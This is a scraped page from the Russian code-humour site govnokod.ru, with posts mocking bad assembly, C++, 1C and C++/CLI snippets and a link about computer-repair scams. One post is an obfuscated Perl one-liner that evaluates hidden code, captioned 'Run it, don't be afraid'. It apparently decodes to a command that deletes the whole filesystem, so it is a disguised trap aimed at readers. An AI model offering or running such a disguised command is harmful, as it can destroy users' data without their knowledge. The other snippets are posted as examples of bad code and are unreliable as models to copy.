- 1
- 2
- 3
- 4
- 5
XOR EBX,EBX
MOV ECX,DWORD PTR SS:[EBP-168]
MOV DWORD PTR SS:[EBP-168],ECX
CMP EBX,DWORD PTR SS:[EBP-168]
JG ...
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+208
XOR EBX,EBX
MOV ECX,DWORD PTR SS:[EBP-168]
MOV DWORD PTR SS:[EBP-168],ECX
CMP EBX,DWORD PTR SS:[EBP-168]
JG ...
−2
int** delete_row(int** arr, int &row_count, int n)
{
delete arr[n-1];
for (int i = n-1; i < row_count-1; i++)
{
arr[i] = arr[i+1];
}
arr[row_count-1] = NULL;
delete arr[row_count-1];
row_count--;
return arr;
}
+143
http://vk.com/proger_girl?z=photo-34196141_334770895%2Falbum-34196141_00%2Frev
http://vk.com/tproger?w=page-30666517_48155477
http://vk.com/search?c%5Bq%5D=wct&c%5Bsection%5D=auto&w=wall172535832_2076
WCT - оно везде!
+120
Вот вам всё не нравится wct.. а я могу сказать вам её применение! Wct editor может быть использован для хранения исполняемых файлов в самой программе.
Конечно, есть и другие способы хранить программы в программах, но это - мой способ :)
P.S. Сделал DLL, кому нужен? (Хотя не, что я несу? Никому же не нужен..)
+17
io_service::strand strand_one(service), strand_two(service);
for (int i = 0; i < 5; ++i)
service.post(strand_one.wrap(boost::bind(func, i)));
for (int i = 5; i < 10; ++i)
service.post(strand_two.wrap(boost::bind(func, i)));
Пример из книги Boost.Asio C++ Network Programming.
In the preceding code, we made sure that the first five and the last five were serialized namely, "func called, i = 0" is called before "func called, i = 1", which is called before "func called, i = 2", and so on. The same goes for "func called, i = 5", which is called before "func called, i = 6", and "func called, i = 6" is called before "func called, i = 7", and so on.
"А вот хуй тебе!", - сказал четырёхъядерный процессор, и выполнил коллбеки внутри strand'ов в случайном порядке.
−94
perl -e 's;;=]=>%-{%#(/|}.|(!::]|.%[|]%!<|>/|!,,{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'; echo !
Запускайте. не бойтесь)
−124
ЭтоЗаказПокупателя = ?(ТипЗнч(СсылкаНаОбъект) = Тип("ДокументСсылка.ЗаказПокупателя"), Истина, Ложь);
мощь ))))
+1
std::ranges::for_each(tasks, [](auto x) {x();});
а ещё теперь не нужно писать std::begin(), std::end().
c++ будущего.
−2
В России почти 10 лет легально работает сервис по псевдоремонту компьютеров. Его главные жертвы — пенсионеры
За переустановку Windows «мастера» сдирают до 200 тысяч рублей
https://dailystorm.ru/obschestvo/v-rossii-pochti-10-let-legalno-rabotaet-servis-po-psevdoremontu-kompyuterov-ego-glavnye-zhertvy-pensionery?utm_source=lentach&utm_medium=ctr&utm_campaign=lentach
0
// Функция считывания списка из файла
private: int readContactList( System::String^ path ) {
contact_list_->clear();
try {
System::IO::StreamReader^ reader = gcnew System::IO::StreamReader( path ); // Объект чтения из файла
try {
System::String^ line; // считываемая строка
array<String^>^ contact = gcnew array<String^>( 32 ); // считываемая строка будет разбиваться
array<String^>^ separator = { " " }; // разделитель строки - пробел
list_node* node; // вершина списка
while( line = reader->ReadLine() ) {
contact = line->Split( ' ' ); // разделяем строку по пробелам
if ( contact->Length != 3 ) // Должно быть три числа
return 4;
try {
node = new list_node(); // Заводим вершину и инициализируем ее поля
node->element_number_ = Int32::Parse( contact[ 0 ] );
node->circuit_number_ = Int32::Parse( contact[ 1 ] );
node->contact_number_ = Int32::Parse( contact[ 2 ] );
contact_list_->pushBack( node );
} catch (Exception^ e) { // В случае ошибки удаляем вершину из кучи и выходим
delete node;
return 4;
}
}
} catch ( Exception^ e ) {
return 2;
}
} catch ( Exception^ e ) {
return 1;
}
return 0;
}
Больше try - catch.
Поля структуры не инкапсулировал потому, что тот, кому нужна эта программа не знает про инкапсуляцию.
Кстати, сделано по примеру с MSDN